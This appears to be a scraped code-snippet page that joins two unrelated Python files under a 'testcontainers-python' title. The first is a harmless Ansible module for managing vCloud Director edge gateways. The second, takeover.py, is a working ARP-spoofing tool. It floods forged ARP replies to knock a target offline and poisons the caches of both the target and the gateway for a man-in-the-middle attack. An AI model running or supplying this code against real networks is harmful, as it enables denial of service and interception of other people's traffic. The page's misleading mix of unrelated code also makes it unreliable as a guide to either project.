Best Python code snippet using testcontainers-python_python
vcd_vdc_gateway.py
Source:vcd_vdc_gateway.py
1# Copyright © 2018 VMware, Inc. All Rights Reserved.2# SPDX-License-Identifier: BSD-2-Clause OR GPL-3.0-only3# !/usr/bin/python4# from __future__ import (absolute_import, division, print_function)5# __metaclass__ = type6ANSIBLE_METADATA = {'metadata_version': '1.1',7 'status': ['preview'],8 'supported_by': 'community'}9DOCUMENTATION = '''10module: vcd_vdc_gateway11short_description: Ansible module to create/update/delete edge gateway in vCloud Director.12version_added: "2.7"13description:14 - "Ansible module to create/delete edge gateway in vCloud Director."15author:16 - Michal Taratuta <michalta@softcat.com>17options:18 user:19 description:20 - vCloud Director user name21 type: str22 required: false23 password:24 description:25 - vCloud Director user password26 type: str27 required: false28 host:29 description:30 - vCloud Director host address31 type: str32 required: false33 org:34 description:35 - Organization name on vCloud Director to access i.e. System.36 type: str37 required: false38 api_version:39 description:40 - Pyvcloud API version, required as float i.e 31 => 31.041 type: float42 verify_ssl_certs:43 description:44 - whether to use secure connection to vCloud Director host.45 type: bool46 vdc_name:47 description:48 - The name of the vdc where Gateway is going to be created.49 required: false50 type: str51 org_name:52 description:53 - Name of the organization the Gateway belongs to.54 type: str55 required: false56 description:57 description:58 - The description of the edge gateway59 type: str60 required: false61 gateway_name:62 description:63 - The name of the new gateway.64 type: str65 required: true66 new_gateway_name:67 description:68 - The updated name of the existing gateway.69 type: str70 required: false71 external_networks:72 description:73 - list of external network's name to which gateway can connect.74 type: list75 required: false76 gateway_backing_config:77 description:78 - The size of the NSX Edge instance based on your performance79 requirements.80 type: str81 required: false82 choices: ['compact', 'full', 'full4', 'x-large']83 edge_gateway_type:84 description:85 - edge gateway type86 type: str87 required: false88 choices: ['NSXV_BACKED', 'NSXT_BACKED', 'NSXT_IMPORTED']89 default_gateway:90 description:91 - should the new gateway be configured as the default gateway.92 type: bool93 default: false94 required: false95 extnw_for_default_gw:96 description:97 - external network for default gateway.98 type: str99 required: false100 default_gateway_ip:101 description:102 - dafault gateway IP103 type: str104 required: false105 default_gw_for_dns_relay:106 description:107 - should this default gateway use for dns relay.108 type: bool109 default: false110 required: false111 ha_enabled:112 description:113 - Is HA enabled114 type: bool115 default: false116 required: false117 create_as_advanced_gw:118 description:119 - create as advanced gateway120 type: bool121 default: false122 required: false123 dr_enabled:124 description:125 - Is distributed routing enabled126 type: bool127 default: false128 required: false129 configure_ip_settings:130 description:131 - Is ip settings configured132 type: bool133 default: false134 required: false135 ext_net_to_participated_subnet_with_ip_settings:136 description:137 - External network to subnet ip with ip assigned in case of manual138 else Auto.139 type: dict140 required: false141 sub_allocate_ip_pools:142 description:143 - Is sub allocate ip pools enabled.144 type: bool145 default: false146 required: false147 ext_net_to_subnet_with_ip_range:148 description:149 - External network to sub allocated ip with ip ranges.150 type: dict151 required: false152 ext_net_to_rate_limit:153 description:154 - External network to rate limit.155 required: false156 flips_mode:157 description:158 - Is flip mode enabled.159 type: bool160 default: false161 state:162 description:163 - State of the Gateway.164 type: string165 required: true166 choices: ['present','absent', 'update']167'''168EXAMPLES = '''169- name: create GW with STATIC IP Address and Rate Limit170 vcd_vdc_gateway:171 user: "{{vcd_user}}"172 password: "{{vcd_password}}"173 host: "{{host}}"174 org_name: "{{customer_org}}"175 org: "{{org_name}}"176 api_version: "{{api_version}}"177 verify_ssl_certs: False178 vdc_name: "{{vdc_name}}"179 gateway_name: "module_test_3"180 description: "Created by Ansible module"181 external_networks:182 - "CLOUDLAB EXTERNAL NETWORK"183 gateway_backing_config: compact184 default_gateway: True185 extnw_for_default_gw: "CLOUDLAB EXTERNAL NETWORK"186 default_gateway_ip: 10.221.10.161187 default_gw_for_dns_relay: True188 ha_enabled: True189 create_as_advanced_gw: True190 dr_enabled: True191 configure_ip_settings: True192 ext_net_to_participated_subnet_with_ip_settings: {193 "CLOUDLAB EXTERNAL NETWORK": {194 "10.221.10.161/27": "10.221.10.170"195 }196 }197 ext_net_to_rate_limit: {198 "CLOUDLAB EXTERNAL NETWORK": {199 "100": "100"200 }201 }202 state: present203'''204RETURN = '''205msg: success/failure message corresponding to edge gateway state206changed: true if resource has been changed else false207'''208from pyvcloud.vcd.org import Org209from pyvcloud.vcd.vdc import VDC210from pyvcloud.vcd.gateway import Gateway211from ansible.module_utils.vcd import VcdAnsibleModule212from pyvcloud.vcd.exceptions import BadRequestException, EntityNotFoundException213EDGE_NETWORK_STATES = ['present', 'update', 'absent']214EDGE_GW_TYPE = ['NSXV_BACKED', 'NSXT_BACKED', 'NSXT_IMPORTED']215EDGE_GW_BACKING_CONF = ['compact', 'full', 'full4', 'x-large']216def vdc_gw_argument_spec():217 return dict(218 org_name=dict(type='str', required=True),219 vdc_name=dict(type='str', required=True),220 gateway_name=dict(type='str', required=True),221 new_gateway_name=dict(type='str', required=False),222 description=dict(type='str', required=False),223 external_networks=dict(type='list', required=False),224 gateway_backing_config=dict(type='str', required=False, choices=EDGE_GW_BACKING_CONF),225 default_gateway=dict(type='bool', required=False, default=False),226 extnw_for_default_gw=dict(type='str', required=False),227 default_gateway_ip=dict(type='str', required=False),228 default_gw_for_dns_relay=dict(type='bool', required=False, default=False),229 ha_enabled=dict(type='bool', required=False, default=False),230 create_as_advanced_gw=dict(type='bool', required=False, default=False),231 dr_enabled=dict(type='bool', required=False, default=False),232 configure_ip_settings=dict(type='bool', required=False, default=False),233 ext_net_to_participated_subnet_with_ip_settings=dict(type='dict', required=False),234 sub_allocate_ip_pools=dict(type='bool', required=False, default=False),235 ext_net_to_subnet_with_ip_range=dict(type='dict', required=False),236 ext_net_to_rate_limit=dict(type='dict', required=False),237 flips_mode=dict(type='bool', required=False, default=False),238 edge_gateway_type=dict(type='str', required=False, choices=EDGE_GW_TYPE),239 state=dict(choices=EDGE_NETWORK_STATES, required=True)240 )241class VdcGW(VcdAnsibleModule):242 def __init__(self, **kwargs):243 super(VdcGW, self).__init__(**kwargs)244 self.vdc_name = self.params.get('vdc_name')245 self.org_name = self.params.get('org_name')246 org_resource = self.client.get_org_by_name(self.org_name)247 self.org = Org(self.client, resource=org_resource)248 vdc_resource = self.org.get_vdc(self.vdc_name)249 self.vdc = VDC(self.client, name=self.vdc_name, resource=vdc_resource)250 def manage_states(self):251 state = self.params.get('state')252 if state == "present":253 return self.create_gw()254 if state == "update":255 return self.update_gw()256 if state == "absent":257 return self.delete_gw()258 def get_gateway(self, gateway_name):259 gateway = self.vdc.get_gateway(gateway_name)260 if gateway is None:261 raise EntityNotFoundException("Edge gateway {0} is not present".format(gateway_name))262 return gateway263 def create_gw(self):264 api_version = self.client.get_api_version()265 if api_version == "30.0":266 return self.create_gateway_api_version_30()267 if api_version == "31.0":268 return self.create_gateway_api_version_31()269 if api_version == "32.0":270 return self.create_gateway_api_version_32()271 def create_gateway_api_version_30(self):272 response = dict()273 response['changed'] = False274 gateway_name = self.params.get('gateway_name')275 description = self.params.get('description')276 external_networks = self.params.get('external_networks')277 gateway_backing_config = self.params.get('gateway_backing_config')278 default_gateway = self.params.get('default_gateway')279 extnw_for_default_gw = self.params.get('extnw_for_default_gw')280 default_gateway_ip = self.params.get('default_gateway_ip')281 default_gw_for_dns_relay = self.params.get('default_gw_for_dns_relay')282 ha_enabled = self.params.get('ha_enabled')283 create_as_advanced_gw = self.params.get('create_as_advanced_gw')284 dr_enabled = self.params.get('dr_enabled')285 configure_ip_settings = self.params.get('configure_ip_settings')286 sub_allocate_ip_pools = self.params.get('sub_allocate_ip_pools')287 ext_net_to_rate_limit = self.params.get('ext_net_to_rate_limit')288 ext_net_to_subnet_with_ip_range = self.params.get(289 'ext_net_to_subnet_with_ip_range')290 ext_net_to_participated_subnet_with_ip_settings = self.params.get(291 'ext_net_to_participated_subnet_with_ip_settings')292 try:293 self.get_gateway(gateway_name)294 except EntityNotFoundException:295 create_task = self.vdc.create_gateway_api_version_30(296 name=gateway_name,297 external_networks=external_networks,298 gateway_backing_config=gateway_backing_config,299 desc=description,300 is_default_gateway=default_gateway,301 selected_extnw_for_default_gw=extnw_for_default_gw,302 default_gateway_ip=default_gateway_ip,303 is_default_gw_for_dns_relay_selected=default_gw_for_dns_relay,304 is_ha_enabled=ha_enabled,305 should_create_as_advanced=create_as_advanced_gw,306 is_dr_enabled=dr_enabled,307 is_ip_settings_configured=configure_ip_settings,308 ext_net_to_participated_subnet_with_ip_settings=ext_net_to_participated_subnet_with_ip_settings,309 is_sub_allocate_ip_pools_enabled=sub_allocate_ip_pools,310 ext_net_to_subnet_with_ip_range=ext_net_to_subnet_with_ip_range,311 ext_net_to_rate_limit=ext_net_to_rate_limit)312 self.execute_task(create_task.Tasks.Task[0])313 response['msg'] = "Edge Gateway {0} has been created".format(gateway_name)314 response['changed'] = True315 else:316 response['warnings'] = "Edge Gateway {0} is already present".format(gateway_name)317 return response318 def create_gateway_api_version_31(self):319 response = dict()320 response['changed'] = False321 gateway_name = self.params.get('gateway_name')322 description = self.params.get('description')323 external_networks = self.params.get('external_networks')324 gateway_backing_config = self.params.get('gateway_backing_config')325 default_gateway = self.params.get('default_gateway')326 extnw_for_default_gw = self.params.get('extnw_for_default_gw')327 default_gateway_ip = self.params.get('default_gateway_ip')328 default_gw_for_dns_relay = self.params.get('default_gw_for_dns_relay')329 ha_enabled = self.params.get('ha_enabled')330 create_as_advanced_gw = self.params.get('create_as_advanced_gw')331 dr_enabled = self.params.get('dr_enabled')332 configure_ip_settings = self.params.get('configure_ip_settings')333 sub_allocate_ip_pools = self.params.get('sub_allocate_ip_pools')334 ext_net_to_rate_limit = self.params.get('ext_net_to_rate_limit')335 flips_mode = self.params.get('flips_mode')336 ext_net_to_subnet_with_ip_range = self.params.get(337 'ext_net_to_subnet_with_ip_range')338 ext_net_to_participated_subnet_with_ip_settings = self.params.get(339 'ext_net_to_participated_subnet_with_ip_settings')340 try:341 self.get_gateway(gateway_name)342 except EntityNotFoundException:343 create_task = self.vdc.create_gateway_api_version_31(344 name=gateway_name,345 external_networks=external_networks,346 gateway_backing_config=gateway_backing_config,347 desc=description,348 is_default_gateway=default_gateway,349 selected_extnw_for_default_gw=extnw_for_default_gw,350 default_gateway_ip=default_gateway_ip,351 is_default_gw_for_dns_relay_selected=default_gw_for_dns_relay,352 is_ha_enabled=ha_enabled,353 should_create_as_advanced=create_as_advanced_gw,354 is_dr_enabled=dr_enabled,355 is_ip_settings_configured=configure_ip_settings,356 ext_net_to_participated_subnet_with_ip_settings=ext_net_to_participated_subnet_with_ip_settings,357 is_sub_allocate_ip_pools_enabled=sub_allocate_ip_pools,358 ext_net_to_subnet_with_ip_range=ext_net_to_subnet_with_ip_range,359 ext_net_to_rate_limit=ext_net_to_rate_limit,360 is_flips_mode_enabled=flips_mode)361 self.execute_task(create_task.Tasks.Task[0])362 response['msg'] = "Edge Gateway {0} has been created".format(gateway_name)363 response['changed'] = True364 else:365 response['warnings'] = "Edge Gateway {0} is already present".format(gateway_name)366 return response367 def create_gateway_api_version_32(self):368 response = dict()369 response['changed'] = False370 gateway_name = self.params.get('gateway_name')371 description = self.params.get('description')372 external_networks = self.params.get('external_networks')373 gateway_backing_config = self.params.get('gateway_backing_config')374 default_gateway = self.params.get('default_gateway')375 extnw_for_default_gw = self.params.get('extnw_for_default_gw')376 default_gateway_ip = self.params.get('default_gateway_ip')377 default_gw_for_dns_relay = self.params.get('default_gw_for_dns_relay')378 ha_enabled = self.params.get('ha_enabled')379 create_as_advanced_gw = self.params.get('create_as_advanced_gw')380 dr_enabled = self.params.get('dr_enabled')381 configure_ip_settings = self.params.get('configure_ip_settings')382 sub_allocate_ip_pools = self.params.get('sub_allocate_ip_pools')383 ext_net_to_rate_limit = self.params.get('ext_net_to_rate_limit')384 edge_gateway_type = self.params.get('edge_gateway_type')385 flips_mode = self.params.get('flips_mode')386 ext_net_to_subnet_with_ip_range = self.params.get(387 'ext_net_to_subnet_with_ip_range')388 ext_net_to_participated_subnet_with_ip_settings = self.params.get(389 'ext_net_to_participated_subnet_with_ip_settings')390 try:391 self.get_gateway(gateway_name)392 except EntityNotFoundException:393 create_task = self.vdc.create_gateway_api_version_32(394 name=gateway_name,395 external_networks=external_networks,396 gateway_backing_config=gateway_backing_config,397 desc=description,398 is_default_gateway=default_gateway,399 selected_extnw_for_default_gw=extnw_for_default_gw,400 default_gateway_ip=default_gateway_ip,401 is_default_gw_for_dns_relay_selected=default_gw_for_dns_relay,402 is_ha_enabled=ha_enabled,403 should_create_as_advanced=create_as_advanced_gw,404 is_dr_enabled=dr_enabled,405 is_ip_settings_configured=configure_ip_settings,406 ext_net_to_participated_subnet_with_ip_settings=ext_net_to_participated_subnet_with_ip_settings,407 is_sub_allocate_ip_pools_enabled=sub_allocate_ip_pools,408 ext_net_to_subnet_with_ip_range=ext_net_to_subnet_with_ip_range,409 ext_net_to_rate_limit=ext_net_to_rate_limit,410 is_flips_mode_enabled=flips_mode,411 edgeGatewayType=edge_gateway_type)412 self.execute_task(create_task.Tasks.Task[0])413 response['msg'] = "Edge Gateway {0} has been created".format(gateway_name)414 response['changed'] = True415 else:416 response['warnings'] = "Edge Gateway {0} is already present".format(gateway_name)417 return response418 def update_gw(self):419 response = dict()420 response['changed'] = False421 edge_gateway_href = None422 gateway_name = self.params.get('gateway_name')423 new_gateway_name = self.params.get('new_gateway_name')424 description = self.params.get('description')425 ha_enabled = self.params.get('ha_enabled')426 try:427 gateway = self.get_gateway(gateway_name)428 except EntityNotFoundException:429 msg = 'Edge Gateway {0} is not present'430 response['warnings'] = msg.format(gateway_name)431 else:432 for key, value in gateway.items():433 edge_gateway_href = value if key == "href" else edge_gateway_href434 gateway = Gateway(self.client, name=gateway_name, href=edge_gateway_href)435 update_task = gateway.edit_gateway(newname=new_gateway_name, desc=description, ha=ha_enabled)436 self.execute_task(update_task)437 response['msg'] = "Edge Gateway {0} has been updated with {1}".format(gateway_name, new_gateway_name)438 response['changed'] = True439 return response440 def delete_gw(self):441 response = dict()442 response['changed'] = False443 gateway_name = self.params.get('gateway_name')444 try:445 self.get_gateway(gateway_name)446 except EntityNotFoundException:447 response['warnings'] = "Edge Gateway {0} is not present".format(gateway_name)448 else:449 delete_task = self.vdc.delete_gateway(gateway_name)450 self.execute_task(delete_task)451 response['msg'] = "Edge Gateway {0} has been deleted".format(gateway_name)452 response['changed'] = True453 return response454def main():455 argument_spec = vdc_gw_argument_spec()456 response = dict(msg=dict(type='str'))457 module = VdcGW(argument_spec=argument_spec, supports_check_mode=True)458 try:459 if not module.params.get('state'):460 raise Exception('Please provide the state for the resource.')461 response = module.manage_states()462 module.exit_json(**response)463 except Exception as error:464 response['msg'] = error.__str__()465 module.fail_json(**response)466if __name__ == '__main__':...
takeover.py
Source:takeover.py
...11"""12 This function is responsible for getting the IP address of the network's13 default gateway.14"""15def get_default_gateway_ip():16 p = sr1(IP(dst="www.google.com", ttl = 0)/ICMP()/"XXXXXXXXXXX")17 return (p.src)18"""19 This function is responsible for sending spoofed ARP responses to the target20 IP address.21"""22def poison_arp_cache(target_ip, target_mac_addr, spoofed_ip, spoofed_mac_addr=Ether().src):23 # Create the ARP response24 spoofed_resp = Ether()/ARP()25 # Set the destination MAC address26 spoofed_resp[Ether].dst = target_mac_addr27 spoofed_resp[ARP].hwdst = target_mac_addr28 # Set the destination IP address29 spoofed_resp[ARP].pdst = target_ip30 # Set the spoofed MAC address31 spoofed_resp[Ether].src = spoofed_mac_addr32 spoofed_resp[ARP].hwsrc = spoofed_mac_addr33 # Set the spoofed IP address34 spoofed_resp[ARP].psrc = spoofed_ip35 # is-at (response)36 spoofed_resp[ARP].op = 237 #print(spoofed_resp[0].show())38 sendp(spoofed_resp)39"""40 This function is responsible for poisoning the ARP cache of the target with a false41 MAC address to DOS the target.42 Note: Seems to work only on ethernet networks as in WiFi, the AP drops the43 packet if the spoofed MAC address is not in its association list.44"""45def perform_dos(target_ip):46 # Get default gateway's network details47 default_gateway_ip = get_default_gateway_ip()48 # Get the MAC address of the target49 target_mac_addr = get_mac(target_ip)50 # Keep sending spoofed ARP responses51 while True:52 poison_arp_cache(target_ip, target_mac_addr, default_gateway_ip, "ab:cd:ef:ab:cd:ef")53"""54 This function is responsible for poisoning the ARP cache of both the target55 and the default gateway to become the middle man.56"""57def perform_mitm(target_ip):58 # Get default gateway's network details59 default_gateway_ip = get_default_gateway_ip()60 default_gateway_mac = get_mac(default_gateway_ip)61 # Get target's MAC address62 target_mac = get_mac(target_ip)63 # Keep sending spoofed ARP responses64 while True:65 # Poison target's ARP cache table66 poison_arp_cache(target_ip, target_mac, default_gateway_ip)67 print(f"Sent ARP reply to {target_ip}")68 # Poison default gateway's ARP cache table69 poison_arp_cache(default_gateway_ip, default_gateway_mac, target_ip)70 print(f"Sent ARP reply to {default_gateway_ip}")71def main():72 parser = argparse.ArgumentParser()73 parser.add_argument("target", help="Target's IP address", action="store")...
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!